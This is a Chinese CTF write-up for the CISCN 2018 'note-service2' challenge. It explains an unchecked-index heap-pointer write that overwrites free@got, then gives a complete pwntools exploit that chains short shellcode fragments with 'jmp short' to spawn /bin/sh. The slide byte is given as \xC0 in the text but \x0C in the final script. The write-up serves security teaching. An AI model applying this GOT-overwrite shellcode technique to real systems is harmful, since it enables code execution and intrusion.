CISCN-2018-Quals-note-service2

注意
本文最后更新于 2021-03-28,文中内容可能已过时。

总结

做完这道题,收获如下:

  • 1)汇编语句jmp short s,最后编译出来的机器码为\xEB\x??,问号代表pc寄存器会往前或往后跳转x个字节,x的范围为-128~127。要从??结束后算起。正数往前跳,负数往回跳。
  • 2)修改某个函数的got表地址后,可以将目标地址填充为一段shellcode,如果是在堆上,那么需要借助jmp short指令。算好偏移。
  • 3)mov rsi, 0xor rsi, rsi要长,尽量用后面的,尽量用xor来置0
  • 4)mov rax, 0x3bmov eax, 0x3b要长,如果长度有限制就用后面的,高位均为0的时候,尽量使用位数更短的寄存器。

checksec

https://image.roderickchan.cn/img/20210221181537.png

发现关闭了NX,可能要利用shellcode

题目分析

首先把附件放在IDA中打开,发现是个菜单题:

main

https://image.roderickchan.cn/img/20210221182640.png

sub_E30:

https://image.roderickchan.cn/img/20210221182801.png

menu:

https://image.roderickchan.cn/img/20210221182827.png

add_note:

https://image.roderickchan.cn/img/20210221183021.png

可以看到,没有检查idx是否合法,可以在任意地址写一个堆地址。

注意:如果申请的大小为8,最多只能写7个字节。

https://image.roderickchan.cn/img/20210221183452.png

delete_note:

https://image.roderickchan.cn/img/20210221183248.png

选项2和选项3并没有什么用。

由于程序关闭了堆栈不可执行,因此可以考虑修改某一个函数got表的内容为堆地址,在堆上写shellcode

解题思路

尝试的解题思路

  • 发现有UAF漏洞,看能不能从UAF入手,泄露出libc的基地址或程序的基地址。然后,一顿思考后,发现程序没有edit,没有show,还只让输入8个字节,这就有点难搞。所以这个思路不太行。

  • 由于在add_note中,没有校验输入的idx,所以是可以修改func@got的内容的,填充为一个堆地址。但是只让写7个字节,啥shellcode会这么短啊······谷歌后,发现一个gadgetjmp short,可以拼接跳转执行,再加上一些滑板指令,就能拼凑出完整的shellcode

    这里需要注意,只让写7个字节,所以指令的机器码不能太长,用xor代替mov,用mov eax, 0x3b代替mov rax , 0x3b。还有jmp short的机器码是\xEB,后面直接接一个偏移。偏移要算上后面的8个字节,加上下一个chunkpre_sizesize,所以一共是1+8+8+8=0x19 。也就是说前面填满5个字节,接一个\xEB\x19即可。

最终解题思路

  • 1)申请一块内存大小为8,内容/bin/sh
  • 2)修改free@got的内容为堆地址
  • 3)利用jmp short s往连续的几块chunk写入shellcodeshellcode为执行execve的系统调用。除去pop rdi; ret。因为free(ptr),会自动mov rdi, ptr
  • 4)调用delete_note,释放前面的/bin/sh的内存块

编写EXP

首先把函数写好:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def add_note(idx:int, size:int, content:bytes=b'\x00'):
    global io
    io.sendlineafter("your choice>> ", '1')
    io.sendlineafter("index:", str(idx))
    io.sendlineafter("size:", str(size))
    io.sendlineafter("content:", content)

def delete_note(idx:int):
    global io
    io.sendlineafter("your choice>> ", '4')
    io.sendlineafter("index:", str(idx))

首先分配一块带有/bin/sh的,预备调用。然后,往索引为-17处分配,修改free@got的内容为堆地址,顺便写上一条shellcodexor rsi, rsi。这里选用\xc0作为滑板指令。

1
2
add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\xC0\xC0\xEB\x19')

-17的计算是这样的:

https://image.roderickchan.cn/img/20210221194202.png

可以看到,free@got的偏移为0x202018,题目中存储堆地址起始位置为0x2020a0,所以索引就是(0x202018 - 0x2020a0) // 8 = -17

这里给出申请前后free@got的内容变化:

申请前:

https://image.roderickchan.cn/img/20210221194715.png

申请后:

https://image.roderickchan.cn/img/20210221194817.png

可以看到,free@got已修改成功,同时写上了xor rsi,rsi; \xc0\xc0\xeb\x19

然后继续写:

1
2
3
add_note(1, 8, asm('xor rdx, rdx') + b'\xC0\xC0\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))

之后就会:

https://image.roderickchan.cn/img/20210221210451.png

最后:

1
delete_note(0) # get shell

https://image.roderickchan.cn/img/20210221210711.png

完整exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

io = process('./note')

context.update(arch='amd64', os='linux', endian='little')

def add_note(idx:int, size:int, content:bytes=b'\x00'):
    global io
    io.sendlineafter("your choice>> ", '1')
    io.sendlineafter("index:", str(idx))
    io.sendlineafter("size:", str(size))
    io.sendlineafter("content:", content)

def delete_note(idx:int):
    global io
    io.sendlineafter("your choice>> ", '4')
    io.sendlineafter("index:", str(idx))

# 利用 jmp short s指令写shellcode
# 修改free@got处地址为堆地址
add_note(0, 8, b'/bin/sh')
add_note(-17 , 8, asm('xor rsi, rsi') + b'\x0C\x0C\xEB\x19')
add_note(1, 8, asm('xor rdx, rdx') + b'\x0C\x0C\xEB\x19')
add_note(2, 8, asm('mov eax, 59') + b'\xEB\x19')
add_note(4, 8, asm('syscall'))

delete_note(0)

io.interactive()
Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%